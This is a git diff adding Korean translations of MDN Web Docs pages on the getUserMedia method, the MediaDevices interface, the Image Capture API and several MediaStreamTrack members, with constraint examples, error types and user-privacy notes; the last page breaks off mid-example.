+ <p>아래와 같이 <code>min</code>, <code>max</code> 키워드를 사용하여 최소 해상도를 1280x720으로 지정할 수도 있으며, <code>exact</code> (논리적으로 <code>min == max</code> 와 같음) 키워드를 사용하여 특정 해상도를 지정할 수도 있습니다.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}</pre>
+
+ <p>만약 카메라에서 지원하는 해상도 중에서 1280x720해상도가 없거나 이 이상의 해상도 역시 없는 경우 promise는 rejected 상태로 <code>OverconstrainedError</code> 를 반환하며, 사용자에게 미디어 장치 사용 권한 요청을 하지 않습니다.</p>
+
+ <p><code>min</code>, <code>max</code> 키워드만 사용한 경우 최소, 최대 해상도를 지정할 수는 있지만, 브라우저는 최솟값을 기준으로 제공할 수 있는 해상도를 찾아 미디어 스트림을 반환합니다.  일반적으로 이러한 동작은 우리의 의도와 다릅니다. 그래서 <code>ideal</code> 키워드를 사용하여 이상적인 해상도를 지정할 수 있습니다.</p>
+
+ <p>아래의 코드를 논리적으로 해석하면 1024x776 - 1120x800 - 1350x1020 - 1920x1080 와 같이 지원하는 여러 해상도가 있으면 브라우저는 <code>ideal</code> 해상도와 가장 근사하는 1120x800 해상도를 미디어 장치에 요청 후 반환합니다.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}
+</pre>
+
+ <p>아래와 같이 최솟값 최댓값 지정 없이 <code>ideal</code> 해상도만 지정할 수도 있습니다.</p>
+
+ <pre class="brush: js">{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}</pre>
+
+ <p>모바일 장치의 전면 카메라를 요청하기 위한 코드:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre>
+
+ <p>모바일 장치의 후면 카메라를 요청하기 위한 코드:</p>
+
+ <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요청한 미디어를 성공적으로 얻었다면 {{domxref("MediaStream")}} 을 수신하는 핸들러가 {{jsxref("Promise")}} 형태로 스트림을 반환합니다.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>promise 이행이 실패하면 실패 처리 핸들러로 {{domxref("DOMException")}} 에러 객체가 전달됩니다. 발생 가능한 에러 종류:</p>
+
+<dl>
+ <dt><code>AbortError</code></dt>
+ <dd>사용자와 운영체제에서 하드웨어 장치 사용 권한을 부여받고 <code>NotReadableError</code> 에러를 발생시키는 하드웨어 문제가 발생하지 않았지만, 다른 프로그램에서 해당 장치를 사용 중인 경우 이 에러가 발생합니다.</dd>
+ <dt><code>NotAllowedError</code></dt>
+ <dd>사용자가 브라우저 설정을 통해 장치에 대한 접근권한을 차단하였거나 장치 사용 권한 요청에 거부한 경우 이 에러가 발생합니다. 이 외에도 어떤 식으로든 장치에 대한 접근을 차단하였다면 이 에러가 발생합니다.
+ <div class="note">이전 버전의 규격에서는 이 에러와 <code>SecurityError</code> 를 동일한 의미로 사용하였지만, 현재 버전에서는 다른 의미로 사용하므로 혼용하여선 안 됩니다.</div>
+ </dd>
+ <dt><code>NotFoundError</code></dt>
+ <dd>constraints 매개변수 조건에 맞는 미디어 트랙이 없는 경우 이 에러가 발생합니다.</dd>
+ <dt><code>NotReadableError</code></dt>
+ <dd>사용자가 접근 권한을 부여했고 조건에 맞는 미디어 트랙도 있지만 어떤 이유로든 장치에 액세스 할 수 없어서 운영체제, 브라우저, 웹 페이지 레벨에서 하드웨어 에러가 발생하여 이 에러가 발생합니다.</dd>
+ <dt><code>OverconstrainedError</code></dt>
+ <dd>The specified constraints resulted in no candidate devices which met the criteria requested. The error is an object of type <code>OverconstrainedError</code>, and has a <code>constraint</code> property whose string value is the name of a constraint which was impossible to meet, and a <code>message</code> property containing a human-readable string explaining the problem.
+ <div class="note">Because this error can occur even when the user has not yet granted permission to use the underlying device, it can potentially be used as a fingerprinting surface.</div>
+ </dd>
+ <dt><code>SecurityError</code></dt>
+ <dd>User media support is disabled on the {{domxref("Document")}} on which <code>getUserMedia()</code> was called. The mechanism by which user media support is enabled and disabled is left up to the individual user agent.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>The list of constraints specified is empty, or has all constraints set to <code>false</code>.</dd>
+</dl>
+
+<h2 id="User_privacy">User privacy</h2>
+
+<p>As an API that may involve significant privacy concerns, <code>getUserMedia()</code> is held by the specification to very specific requirements for user notification and permission management. First, <code>getUserMedia()</code> must always get user permission before opening any media gathering input such as a webcam or microphone. Browsers may offer a once-per-domain permission feature, but they must ask at least the first time, and the user must specifically grant ongoing permission if they choose to do so.</p>
+
+<p>Of equal importance are the rules around notification. Browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may exist. They must also show an indicator that permission has been granted to use a device for input, even if the device is not actively recording at the moment.</p>
+
+<p>In Firefox, for example, the URL bar displays a pulsing red icon to indicate that recording is underway. The icon is gray if the permission is in place but recording is not currently underway. The device's physical light is used to indicate whether or not recording is currently active. If you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording you, without discarding the permission to resume using the camera once muting is over.</p>
+
+<h2 id="Examples"><strong>Example</strong>s</h2>
+
+<h3 id="Width_and_height">Width and height</h3>
+
+<p>This example gives a preference for camera resolution, and assigns the resulting {{domxref("MediaStream")}} object to a video element.</p>
+
+<pre>// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+</pre>
+
+<h3 id="Using_the_new_API_in_older_browsers">Using the new API in older browsers</h3>
+
+<p>Here's an example of using <code>navigator.mediaDevices.getUserMedia()</code>, with a polyfill to cope with older browsers. Note that this polyfill does not correct for legacy differences in constraints syntax, which means constraints won't work well across browsers. It is recommended to use the <a href="https://github.com/webrtc/adapter">adapter.js</a> polyfill instead, which does handle constraints.</p>
+
+<pre class="brush: js">// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // First get ahold of the legacy getUserMedia, if present
+    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+    // Some browsers just don't implement it - return a rejected promise with an error
+    // to keep a consistent interface
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Older browsers may not have srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Avoid using this in new browsers, as it is going away.
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+</pre>
+
+<h3 id="Frame_rate">Frame rate</h3>
+
+<p>Lower frame-rates may be desirable in some cases, like WebRTC transmissions with bandwidth restrictions.</p>
+
+<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+</pre>
+
+<h3 id="Front_and_back_camera">Front and back camera</h3>
+
+<p>On mobile phones.</p>
+
+<pre class="brush: js">var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+</pre>
+
+<h2 id="Permissions">Permissions</h2>
+
+<p>To use <code>getUserMedia()</code> in an installable app (for example, a <a href="/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial">Firefox OS app</a>), you need to specify one or both of the following fields inside your manifest file:</p>
+
+<pre class="brush: js">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p>See <a href="/en-US/Apps/Developing/App_permissions#audio-capture">permission: audio-capture</a> and <a href="/en-US/Apps/Developing/App_permissions#video-capture">permission: video-capture</a> for more information.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.MediaDevices.getUserMedia")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The older {{domxref("navigator.getUserMedia()")}} legacy API.</li>
+ <li>{{domxref("mediaDevices.enumerateDevices()")}}: Learn the types and number of devices the user has available.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API (Media Streams)</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking webcam photos</a>: A tutorial on using <code>getUserMedia()</code> to taking photos rather than video.</li>
+</ul>
diff --git a/files/ko/web/api/mediadevices/index.html b/files/ko/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..86f9133a5c
--- /dev/null
+++ b/files/ko/web/api/mediadevices/index.html
@@ -0,0 +1,122 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+  - API
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaDevices
+  - Reference
+  - Screen Capture API
+  - WebRTC
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><strong><code>MediaDevices</code></strong> 인터페이스는 카메라, 마이크, 공유 화면 등 현재 연결된 미디어 입력 장치로의 접근 방법을 제공하는 인터페이스입니다. 다르게 말하자면, 미디어 데이터를 제공하는 모든 하드웨어로 접근할 수 있는 방법입니다.</span></p>
+
+<h2 id="속성">속성</h2>
+
+<p>부모 인터페이스인 {{domxref("EventTarget")}}의 속성을 상속합니다.</p>
+
+<h2 id="Handlers" name="Handlers">이벤트</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/MediaDevices/devicechange_event">devicechange</a></code></dt>
+ <dd>사용자 컴퓨터에 미디어 입출력 장치가 추가되거나 제거됐을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaDevices/ondevicechange">ondevicechange</a></code> 속성으로도 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>부모 인터페이스인 {{domxref("EventTarget")}}의 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.enumerateDevices", "enumerateDevices()") }}</dt>
+ <dd>시스템에서 사용 가능한 미디어 입출력 장치의 정보를 담은 배열을 가져옵니다.</dd>
+ <dt>{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}</dt>
+ <dd>{{domxref("MediaStreamTrack")}} 인터페이스가 지원하는 제약을 나타내는 {{domxref("MediaTrackSupportedConstraints")}} 호환 객체를 반환합니다.</dd>
+ <dd class="hidden">See {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} to learn more about constraints and how to use them.</dd>
+ <dt>{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}</dt>
+ <dd>{{domxref("MediaStream")}}으로 캡처해 공유나 녹화 용도로 사용할  화면 혹은 화면의 일부(창)를 선택하도록 사용자에게 요청합니다. <code>MediaStream</code>으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}</dt>
+ <dd>사용자에게 권한을 요청한 후, 시스템의 카메라와 오디오 각각 혹은 모두 활성화하여, 장치의 입력 데이터를 비디오/오디오 트랙으로 포함한 {{domxref("MediaStream")}}을 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onremovetrack = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // make variable available to browser console
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.width.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaDevices")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스가 속한 <a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} 메서드를 정의하는 <a href="/ko/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li>장치에 접근할 때 사용할 <code>MediaDevices</code> 객체의 참조를 반환하는 {{domxref("Navigator.mediaDevices")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastream_image_capture_api/index.html b/files/ko/web/api/mediastream_image_capture_api/index.html
new file mode 100644
index 0000000000..016486c12d
--- /dev/null
+++ b/files/ko/web/api/mediastream_image_capture_api/index.html
@@ -0,0 +1,100 @@
+---
+title: MediaStream Image Capture API
+slug: Web/API/MediaStream_Image_Capture_API
+tags:
+  - API
+  - MediaStream
+  - MediaStream Image Capture API
+  - Overview
+  - Reference
+  - 비디오
+  - 사진
+  - 이미지
+translation_of: Web/API/MediaStream_Image_Capture_API
+---
+<div>{{DefaultAPISidebar("Image Capture API")}}</div>
+
+<p class="summary"><strong>MediaStream Image Capture API</strong>는 촬영 장치를 사용해 이미지와 비디오를 캡처하기 위한 API입니다. 그러나 데이터 캡처 외에도 이미지 해상도, 적목 현상 감소 기능, 플래시 존재 유무와 현재 사용 여부 등 장치 사양에 대한 정보를 가져올 때에도 사용할 수 있습니다. 거꾸로, Image Capture API를 사용하면 현재 장치의 허용 범위 안에서 해당 기능을 조정할 수도 있습니다.</p>
+
+<h2 id="개념과_사용법">개념과 사용법</h2>
+
+<p>이미지 또는 비디오 스트림을 가져오는 절차는 다음과 같습니다. 예제 코드는 <a href="https://googlechrome.github.io/samples/image-capture/">Chrome의 Image Capture 예제</a>에서 가져온 것입니다.</p>
+
+<p>우선, {{domxref("MediaDevices.getUserMedia()")}}를 사용해 장치를 가리키는 참조를 가져옵니다. 아래 코드는 단순히 사용 가능한 비디오 장치를 아무거나 요청하는 것이지만, <code>getUserMedia()</code> 메서드는더 상세한 장치 기능 요청도 허용합니다. 반환 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다.</p>
+
+<pre class="brush: js">navigator.mediaDevices.getUserMedia({ video: true })
+  .then(mediaStream =&gt; {
+    // Do something with the stream.
+  })
+</pre>
+
+<p id="sect1">그 후, {{domxref("MediaStream.getVideoTracks()")}}를 호출해 미디어 스트림에서 시각적인 부분을 분리합니다. <code>getVideoTracks()</code>의 반환 값은 {{domxref("MediaStreamTrack")}} 객체의 배열로, 여기서는 사용해야 할 객체를 배열의 첫 번째 요소라고 가정합니다. 실제 사용 시에는 <code>MediaStreamTrack</code> 객체의 속성을 사용해 원하는 객체를 찾을 수 있습니다.</p>
+
+<pre class="brush: js">const track = mediaStream.getVideoTracks()[0];</pre>
+
+<p>이미지를 캡처하기 전에 우선 장치의 기능을 설정하고 싶을 것입니다. 다른 작업을 수행하기 전에, 트랙 객체의 {{domxref("MediaStreamTrack.applyConstraints","applyConstraints()")}} 메서드를 사용하면 됩니다.</p>
+
+<pre class="brush: js">let zoom = document.querySelector('#zoom');
+const capabilities = track.getCapabilities();
+// 확대 지원 여부 판별
+if(!capabilities.zoom) {
+  return;
+}
+track.applyConstraints({ advanced : [{ zoom: zoom.value }] });
+</pre>
+
+<p>마지막으로, <code>MediaStreamTrack</code> 객체를 {{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}} 생성자에 제공합니다. <code>MediaStream</code>은 여러 종류의 트랙을 담고 있으며 적절한 트랙을 가져올 때 사용할 수 있는 메서드를 소유하지만, <code>ImageCapture</code> 생성자는 {{domxref("MediaStreamTrack.kind")}}가 <code>"video"</code> 값이 아닌 경우 <code>NotSupportedError</code> {{domxref("DOMException")}}을 던집니다.</p>
+
+<pre class="brush: js">let imageCapture = new ImageCapture(track);
+</pre>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("ImageCapture")}}</dt>
+ <dd>촬영 장치를 참조하는 유효한 {{domxref("MediaStreamTrack")}}을 사용해 이미지를 캡처하기 위한 인터페이스입니다.</dd>
+ <dt>{{domxref("PhotoCapabilities")}}</dt>
+ <dd>장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. {{domxref("ImageCapture.getPhotoCapabilities()")}}를 호출해서 <code>PhotoCapabilities</code> 객체를 가져올 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="ImageCapture"><code>ImageCapture</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.ImageCapture")}}</p>
+
+<h3 id="PhotoCapabilities"><code>PhotoCapabilities</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.PhotoCapabilities")}}</p>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/applyconstraints/index.html b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html
new file mode 100644
index 0000000000..f2c145bf85
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html
@@ -0,0 +1,91 @@
+---
+title: MediaStreamTrack.applyConstraints()
+slug: Web/API/MediaStreamTrack/applyConstraints
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Method
+translation_of: Web/API/MediaStreamTrack/applyConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <code><strong>applyConstraints</strong></code><strong><code>()</code></strong> 메서드는 트랙에 제약을 적용합니다. 제약을 통해 웹 사이트와 앱은 프레임 레이트, 해상도, 플래시 여부 등, 제약 가능한 속성을 자신이 바라는 이상적인 값과 허용 가능한 범위로 제한할 수 있습니다.</span></p>
+
+<p>제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서의 <a href="/ko/docs/Web/API/Media_Streams_API/Constraints#Applying_constraints">제약 적용</a> 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>appliedPromise</em> = <em>track</em>.applyConstraints([<em>constraints</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constraints</code> {{optional_inline}}</dt>
+ <dd>트랙에 적용할 제약 속성을 나열하는 {{domxref("MediaTrackConstraints")}} 객체. 기존에 존재하는 제약은 모두 새로운 값으로 대체하고, <code>constraints</code> 매개변수에 포함하지 않은 제약의 경우 기본값으로 돌아갑니다. 매개변수를 생략한 경우, 모든 사용자 지정 제약을 기본값으로 초기화합니다. <code>constraints</code> 객체는 {{jsxref("Promise")}}가 이행하기 전에 반드시 적용해야 하는 기본 제약 설정을 나타냅니다. 추가로, 반드시 동일한 조건이어야 함을 나타내는 고급 제약도 <code>MediaTrackConstrants</code> 객체 배열로 포함할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>제약을 성공적으로 적용한 경우 이행하는 {{jsxref("Promise")}}. 제약 적용에 실패한 경우, 이름이 <code>OverconstrainedError</code>인 {{domxref("MediaStreamError")}}로 거부합니다. 제약이 너무 엄격해서 일치하는 조건을 찾지 못한 경우 발생할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 기본과 고급 제약을 지정하는 법을 보입니다. 우선 페이지와 앱이 640에서 1280의 너비, 480에서 720의 높이가 필요하다고 지정합니다. 이때 뒤쪽의 큰 수를 선호하는 값으로 나타냅니다. 고급 제약은 더 나아가 1920*1280의 이미지를 선호하며, 이 크기를 제공할 수 없는 경우 가로세로비 1.333을 요구합니다. 이렇게 여러 개의 제약을 두는 것을 명세는 "백오프 전략"이라고 말합니다.</p>
+
+<pre class="brush: js">const constraints = {
+  width: {min: 640, ideal: 1280},
+  height: {min: 480, ideal: 720},
+  advanced: [
+    {width: 1920, height: 1280},
+    {aspectRatio: 1.333}
+  ]
+};
+
+navigator.mediaDevices.getUserMedia({ video: true })
+.then(mediaStream =&gt; {
+  const track = mediaStream.getVideoTracks()[0];
+  track.applyConstraints(constraints)
+  .then(() =&gt; {
+    // Do something with the track such as using the Image Capture API.
+  })
+  .catch(e =&gt; {
+    // The constraints could not be satisfied by the available devices.
+  });
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints', 'applyConstraints()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section','applyConstraints()')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Adds image constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.applyConstraints")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/clone/index.html b/files/ko/web/api/mediastreamtrack/clone/index.html
new file mode 100644
index 0000000000..71e6794948
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/clone/index.html
@@ -0,0 +1,46 @@
+---
+title: MediaStreamTrack.clone()
+slug: Web/API/MediaStreamTrack/clone
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaStreamTrack
+  - Method
+  - Reference
+translation_of: Web/API/MediaStreamTrack/clone
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>clone()</code></strong> 메서드는 <code>MediaStreamTrack</code> 객체의 사본을 반환합니다. 사본은 새로운 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 모든 값이 원본과 동일합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>newTrack</em> = <em>track</em>.clone()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>clone()</code>을 호출한 {{domxref("MediaStreamTrack")}}에서 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 똑같은 새로운 <code>MediaStreamTrack</code>.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-clone', 'clone()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.clone")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/enabled/index.html b/files/ko/web/api/mediastreamtrack/enabled/index.html
new file mode 100644
index 0000000000..6fbe680416
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/enabled/index.html
@@ -0,0 +1,83 @@
+---
+title: MediaStreamTrack.enabled
+slug: Web/API/MediaStreamTrack/enabled
+tags:
+  - Media
+  - Media Capture and Streams
+  - MediaStreamTrack
+  - Property
+  - Reference
+  - WebRTC
+translation_of: Web/API/MediaStreamTrack/enabled
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>enabled</code></strong> 속성은 트랙이 소스 스트림을 렌더링 할 수 있으면 <code>true</code>, 아니면 <code>false</code>를 반환합니다. <code>enabled</code> 속성을 사용해 음소거 기능을 구현할 수 있습니다.</span> 활성화된 경우 트랙의 데이터는 입력에서 목적지로 출력됩니다. 비활성 상태에서는 빈 프레임만 출력합니다.</p>
+
+<p>오디오 트랙의 경우 비활성화 트랙이 생성하는 빈 프레임은 아무 소리도 없는 것, 즉 모든 샘플의 값이 0인 프레임이며, 비디오의 경우 모든 픽셀이 검은 프레임입니다.</p>
+
+<p>사실, <code>enabled</code>의 값은 사용자가 트랙의 "음소거" 상태로 취급할 상태를 나타내며, {{domxref("MediaStreamTrack.muted", "muted")}} 속성은 전송 중 프레임 유실 등으로 인해 데이터를 출력할 수 없는 상태를 뜻합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 트랙의 연결이 끊긴 후에도 <code>enabled</code> 값을 바꿀 수는 있지만 아무런 효과도 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>enabledFlag</em> = <em>track</em>.enabled
+<em>track</em>.enabled = [true | false]</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>true</code>는 실제 미디어의 렌더링이 허용됨을 나타냅니다. <code>false</code>로 설정한 경우 빈 프레임만 생성합니다.</p>
+
+<p>빈 오디오 프레임의 모든 샘플 값은 0입니다. 빈 비디오 프레임의 모든 픽셀은 완전한 검정입니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>{{domxref("MediaStreamTrack")}}이 카메라의 비디오 입력을 나타내는 경우, 트랙의 <code>enabled</code>를<code>false</code>로 설정해 비활성화하면 카메라의 녹화 표시도 꺼집니다. 예를 들어, iMac과 MacBook의 카메라 옆에 존재하는 초록색 "사용 중" LED도 꺼집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 {{event("click")}} 이벤트 처리기를 사용해 일시정지를 구현합니다.</p>
+
+<pre class="brush: js">pauseButton.onclick = function(evt) {
+  const newState = !myAudioTrack.enabled;
+
+  pauseButton.innerHTML = newState ? "&amp;#x25B6;&amp;#xFE0F;" : "&amp;#x23F8;&amp;#xFE0F;";
